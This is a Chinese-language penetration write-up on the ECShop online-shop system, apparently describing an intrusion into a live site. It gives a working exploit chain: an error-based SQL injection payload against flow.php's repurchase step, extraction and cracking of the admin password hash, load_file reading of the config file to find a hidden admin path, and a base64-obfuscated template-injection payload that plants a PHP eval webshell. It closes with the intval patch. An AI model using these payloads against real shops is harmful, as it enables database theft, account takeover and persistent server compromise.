ECShop应该很熟悉,是个网店的开源系统。系统后端功能复杂且完成度很高,代码也很成熟;

但是东西归云起这家公司了,下载需要注册,为此还接到了他们推广的骚扰;

之前爆出过前台SQL注入,这次就利用这个SQL注入来开始吧。

前台SQL注入

网上分析文件也很多,简单来讲是 flow.php 文件中绕过if判断且参数没过滤出现注入;

elseif ($_REQUEST['step'] == 'repurchase') {
    include_once('includes/cls_json.php');
    $order_id = $_POST['order_id'];
    $order_id = json_str_iconv($order_id);
    $user_id = $_SESSION['user_id'];
    $json  = new JSON;
    $order = $db->getOne('SELECT count(*) FROM ' . $ecs->table('order_info') . ' WHERE order_id = ' . $order_id . ' and user_id = ' . $user_id);
    if (!$order) {
        $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        die($json->encode($result));
    }

    $db->query('DELETE FROM ' .$ecs->table('cart') . " WHERE rec_type = " . CART_REPURCHASE);
    $order_goods = $db->getAll("SELECT goods_id, goods_number, goods_attr_id, parent_id FROM " . $ecs->table('order_goods') . " WHERE order_id = " . $order_id);
    $result = array('error' => 0, 'message' => '');
    foreach ($order_goods as $goods) {
        $spec = empty($goods['goods_attr_id']) ? array() : explode(',', $goods['goods_attr_id']);
        if (!addto_cart($goods['goods_id'], $goods['goods_number'], $spec, $goods['parent_id'], CART_REPURCHASE)) {
            $result = false;
            $result = array('error' => 1, 'message' => $_LANG['repurchase_fail']);
        }
    }
    die($json->encode($result));
}

利用方法:

http://xxxxxxxxxx/flow.php?step=repurchase
post数据:order_id=1 or updatexml(1,concat(0x7e,(database())),0) or 11#
注入语句在database()修改;

很简单,利用的updatexml报错来注入,并使用concat来将注入结果和指定字符合并输出;

至于为什么用0x7e(也就是~号)来配合输出?完全可以使用其他各种字符,纯增加辨识度,sqlmap等都是使用它来辨识度;

oth.在使用sqlmap来注入的时候,可以将显示payload打开看其输出(-v 5),由于字符数限制,需要分别注出后在合并,sqlmap就是用的是~符号来辨识前后相连的字符串,并准确合并来输出显示;

1.png

可以看到报错输出,接下来读取管理账号密码;

2.png

a684073c5b42a5eb8461a9d6ae5c71f 这是31位,md5加密缺了一位,这里可以使用截取来分别提取出来并合并;

这里我在利用substring取后半部分:~b42a5eb8461a9d6ae5c71f3

3.png

可以得到密文:a684073c5b42a5eb8461a9d6ae5c71f3,解密:[email protected]

用户名同理,存在于user_name字段里,这里不知道字段可以去官网找介绍,也可以找源码搭起来寻找,但版本号要注意,因为v2.7和v3.0字段名大幅改动,碰到需要源码操作的,要严苛版本号;

这里完全可以直接丢给sqlmap让其去跑,没难度;

进后台?

按常规,拿到密码肯定要进后台,但这个站点默认后台路径被换掉了,扫描不出且robots.txt并没有修改;

这里就很尴尬,迟钝了好久…

这就用到了一个技巧;

前面不是已经拿到一个SQL注入了,虽然是报错类型的,但并不耽误读取源码;

修改后的后台路径肯定存在于某个文件中作为全局变量,首先从配置文件下手;

./data/config.php存在define(‘ADMIN_PATH’,’admin’);

可以读这个文件,这里猜apache默认路径没变,/var/www/html/data/config.php

利用load_file,并且将绝对路径进行16进制编码,即ascii转hex,小葵,hackbar都可以做到;

4.png

这里开始走了个小坑,默认截取为空,以为没有读出文件内容,但尝试去读取/etc下的文件但可以读出,应该不是权限问题,就从源码看了下;

...
$cookie_path    = "/";

$cookie_domain    = "";

$session = "1440";

define('EC_CHARSET','utf-8');

define('ADMIN_PATH','admin');

define('AUTH_KEY', 'this is a key');
...

发现配置文件中变量间有空行…这里就怀疑是不是截取到空行了,这里就把文件字符截取后台路径变量ADMIN_PATH前的文字,wc算了下字符,发现在350-400之间;

这里就注入读到了后台文件,admin_xxxxxx……,访问看到久违了后台;

5.png

后台GetShell

轻车熟路了,v3可以直接在模板管理–语言项编辑直接修改来写入shell文件;

看操作;

6.png

搜索关键字:用户信息;

用户信息四个字一定不要删除,在之后添加:

1.${${fputs(fopen(base64_decode(enp6LnBocA),w), base64_decode(PD9waHAgZXZhbCgkX1BPU1Rbel0pPz4))}}

保存后访问user.php即可在根目录下生成zzz.php的shell,密码z,即上述base64;

7.png

这里注意一点:利用的exp里面的base64加密去掉了最后的=号。

这里可能亮点就一个:

利用SQL注入去读配置文件来找后台文件名;

但当时却没想起来,印象比较深刻,说明夯实基础最重要;

现在最新版已经修复了前台的SQL注入漏洞,在传入id处加上了int强制类型转换,无法绕过;

$order_id = intval($_POST['order_id']);